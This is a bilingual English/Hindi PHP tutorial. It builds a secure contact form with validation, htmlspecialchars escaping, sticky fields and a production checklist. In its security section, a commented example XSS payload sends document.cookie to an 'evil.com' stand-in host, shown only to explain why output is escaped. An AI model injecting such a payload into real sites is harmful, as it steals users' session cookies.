Free tutorials in Hindi & English Daily computer, mobile and IT guides Beginner friendly learning
Blog · PHP · 04 Jul 2026 · Hindi + English

PHP Form Handling: Complete Example with Validation

One complete, secure contact form: HTML form, POST check, validation, htmlspecialchars against XSS, sticky fields, and success message — every line explained.

The full journey of a form

Form handling is a 5-step conversation: show the form → user submits → PHP checks the method → validate every field → act (save/email) and confirm. Below is one complete, secure, copy-ready contact form doing all five — then we walk through every decision in it.

The complete code (single file: contact.php)

<?php
$errors = array();
$name = $email = $message = "";
$success = false;

if ($_SERVER["REQUEST_METHOD"] === "POST") {          // step 3: POST only

    // step 4: validate EVERY field
    $name    = trim($_POST["name"] ?? "");
    $email   = trim($_POST["email"] ?? "");
    $message = trim($_POST["message"] ?? "");

    if ($name === "") {
        $errors[] = "Name is required.";
    } elseif (strlen($name) < 3) {
        $errors[] = "Name must be at least 3 characters.";
    }

    if ($email === "") {
        $errors[] = "Email is required.";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Please enter a valid email address.";
    }

    if ($message === "") {
        $errors[] = "Message is required.";
    }

    if (empty($errors)) {                              // step 5: act
        // save to DB (PDO prepared) or send mail here
        $success = true;
        $name = $email = $message = "";                // clear the form
    }
}
?>
<!DOCTYPE html>
<html>
<body>
<h2>Contact Us</h2>

<?php if ($success): ?>
    <p style="color:green">Thank you! We received your message.</p>
<?php endif; ?>

<?php foreach ($errors as $e): ?>
    <p style="color:red"><?php echo htmlspecialchars($e); ?></p>
<?php endforeach; ?>

<form method="post" action="">
    <input  name="name"    value="<?php echo htmlspecialchars($name); ?>"    placeholder="Your name">
    <input  name="email"   value="<?php echo htmlspecialchars($email); ?>"   placeholder="Email">
    <textarea name="message" placeholder="Message"><?php echo htmlspecialchars($message); ?></textarea>
    <button type="submit">Send</button>
</form>
</body>
</html>

Every decision explained

  • REQUEST_METHOD check: the same file shows the form (GET) and processes it (POST). Without this check, validation errors would appear on the very first visit — before the user typed anything.
  • trim(): a user typing three spaces has typed nothing. Trim first, then validate — otherwise " " passes the required check.
  • ?? "" : if a field is missing entirely (someone POSTs without it), $_POST["name"] would raise a notice; the null coalescing default keeps the code quiet and safe on PHP 7.2.
  • filter_var(FILTER_VALIDATE_EMAIL): PHP's built-in email validator — infinitely better than any regex you would write by hand.
  • Sticky fields (value="<?php echo ... ?>"): on error, the user's typed data is re-filled so they fix one field instead of retyping everything. Small touch, professional feel.

The security line you must never skip

// User typed in the name field:
//   <script>document.location='http://evil.com?c='+document.cookie</script>

echo $name;                        // WRONG: script EXECUTES in the page (XSS!)
echo htmlspecialchars($name);      // RIGHT: shown as harmless text
Rule: every piece of user input that goes back into HTML passes through htmlspecialchars() — no exceptions. This one habit blocks XSS, the most common web attack. Pair rule for the database side: every input reaching SQL goes through prepared statements. Output → htmlspecialchars; database → placeholders. Two rules, ninety percent of form security.

Level-up checklist for production forms

  • Redirect after success (header("Location: thanks.php"); exit;) — the PRG pattern kills the "resubmit form?" refresh warning and double submissions.
  • CSRF token — a random value stored in session and echoed as a hidden field; verify equality on POST so other sites cannot submit your form.
  • Server-side validation is the real one — HTML's required/type="email" improve UX but are bypassable in 5 seconds via DevTools; never trust them alone.
  • Interview line: "Detect POST, trim, validate each field, htmlspecialchars on output, prepared statements to DB, then redirect — that's the complete safe form cycle."

Form का पूरा सफर

Form handling 5 कदमों की बातचीत है: form दिखाओ → user submit करे → PHP method check करे → हर field validate करो → काम करो (save/email) और confirm करो. नीचे एक पूरा, secure, copy-ready contact form है जो पांचों करता है — फिर उसके हर फैसले से गुज़रेंगे.

पूरा code (एक file: contact.php)

<?php
$errors = array();
$name = $email = $message = "";
$success = false;

if ($_SERVER["REQUEST_METHOD"] === "POST") {          // कदम 3: सिर्फ POST

    // कदम 4: HAR field validate करो
    $name    = trim($_POST["name"] ?? "");
    $email   = trim($_POST["email"] ?? "");
    $message = trim($_POST["message"] ?? "");

    if ($name === "") {
        $errors[] = "Name is required.";
    } elseif (strlen($name) < 3) {
        $errors[] = "Name must be at least 3 characters.";
    }

    if ($email === "") {
        $errors[] = "Email is required.";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Please enter a valid email address.";
    }

    if ($message === "") {
        $errors[] = "Message is required.";
    }

    if (empty($errors)) {                              // कदम 5: काम करो
        // यहां DB में save (PDO prepared) या mail भेजो
        $success = true;
        $name = $email = $message = "";                // form साफ करो
    }
}
?>
<!DOCTYPE html>
<html>
<body>
<h2>Contact Us</h2>

<?php if ($success): ?>
    <p style="color:green">Thank you! We received your message.</p>
<?php endif; ?>

<?php foreach ($errors as $e): ?>
    <p style="color:red"><?php echo htmlspecialchars($e); ?></p>
<?php endforeach; ?>

<form method="post" action="">
    <input  name="name"    value="<?php echo htmlspecialchars($name); ?>"    placeholder="Your name">
    <input  name="email"   value="<?php echo htmlspecialchars($email); ?>"   placeholder="Email">
    <textarea name="message" placeholder="Message"><?php echo htmlspecialchars($message); ?></textarea>
    <button type="submit">Send</button>
</form>
</body>
</html>

हर फैसला समझाया हुआ

  • REQUEST_METHOD check: यही file form दिखाती है (GET) और process भी करती है (POST). इस check के बिना validation errors पहली visit पर ही दिख जाते — user के कुछ लिखने से पहले.
  • trim(): तीन spaces टाइप करने वाले ने कुछ नहीं लिखा. पहले trim, फिर validate — वरना " " required check pass कर जाता है.
  • ?? "" : field पूरी तरह गायब हो (कोई उसके बिना POST करे) तो $_POST["name"] notice देता; null coalescing default PHP 7.2 पर code को चुप और safe रखता है.
  • filter_var(FILTER_VALIDATE_EMAIL): PHP का built-in email validator — हाथ से लिखे किसी भी regex से बेहतर.
  • Sticky fields (value="<?php echo ... ?>"): error पर user का लिखा data वापस भर जाता है, वह एक field ठीक करता है, सब दोबारा नहीं लिखता. छोटा touch, professional एहसास.

वह security line जो कभी skip नहीं होगी

// User ने name field में लिखा:
//   <script>document.location='http://evil.com?c='+document.cookie</script>

echo $name;                        // GALAT: script page में CHAL जाती है (XSS!)
echo htmlspecialchars($name);      // SAHI: बेजान text की तरह दिखती है
Rule: user input का हर टुकड़ा जो HTML में वापस जाए, htmlspecialchars() से गुज़रे — no exceptions. यह एक आदत XSS रोकती है, web का सबसे common attack. Database की तरफ जोड़ी का rule: SQL तक पहुंचने वाला हर input prepared statements से. Output → htmlspecialchars; database → placeholders. दो rules, form security का नब्बे प्रतिशत.

Production forms की level-up checklist

  • Success के बाद redirect (header("Location: thanks.php"); exit;) — PRG pattern "resubmit form?" वाली refresh warning और double submissions खत्म करता है.
  • CSRF token — session में रखी random value जो hidden field में echo हो; POST पर equality verify करें ताकि दूसरी sites आपका form submit न कर सकें.
  • असली validation server-side ही है — HTML के required/type="email" UX सुधारते हैं पर DevTools से 5 second में bypass हो जाते हैं; अकेले इन पर कभी भरोसा नहीं.
  • Interview line: "POST detect करो, trim, हर field validate, output पर htmlspecialchars, DB तक prepared statements, फिर redirect — यही पूरा safe form cycle है."

Frequently Asked Questions

How does PHP form handling work?

The page shows the form, the user submits via POST, PHP detects it with REQUEST_METHOD, trims and validates each field, escapes output with htmlspecialchars, saves via prepared statements, and confirms or redisplays errors with sticky fields.

Why is htmlspecialchars() necessary on form output?

Without it, user input containing <script> tags executes in the page (XSS attack); htmlspecialchars converts the tags to harmless visible text.

Is HTML5 validation like required enough?

No — browser attributes improve UX but are bypassable in seconds through DevTools or direct requests; server-side PHP validation is the only validation that counts for security.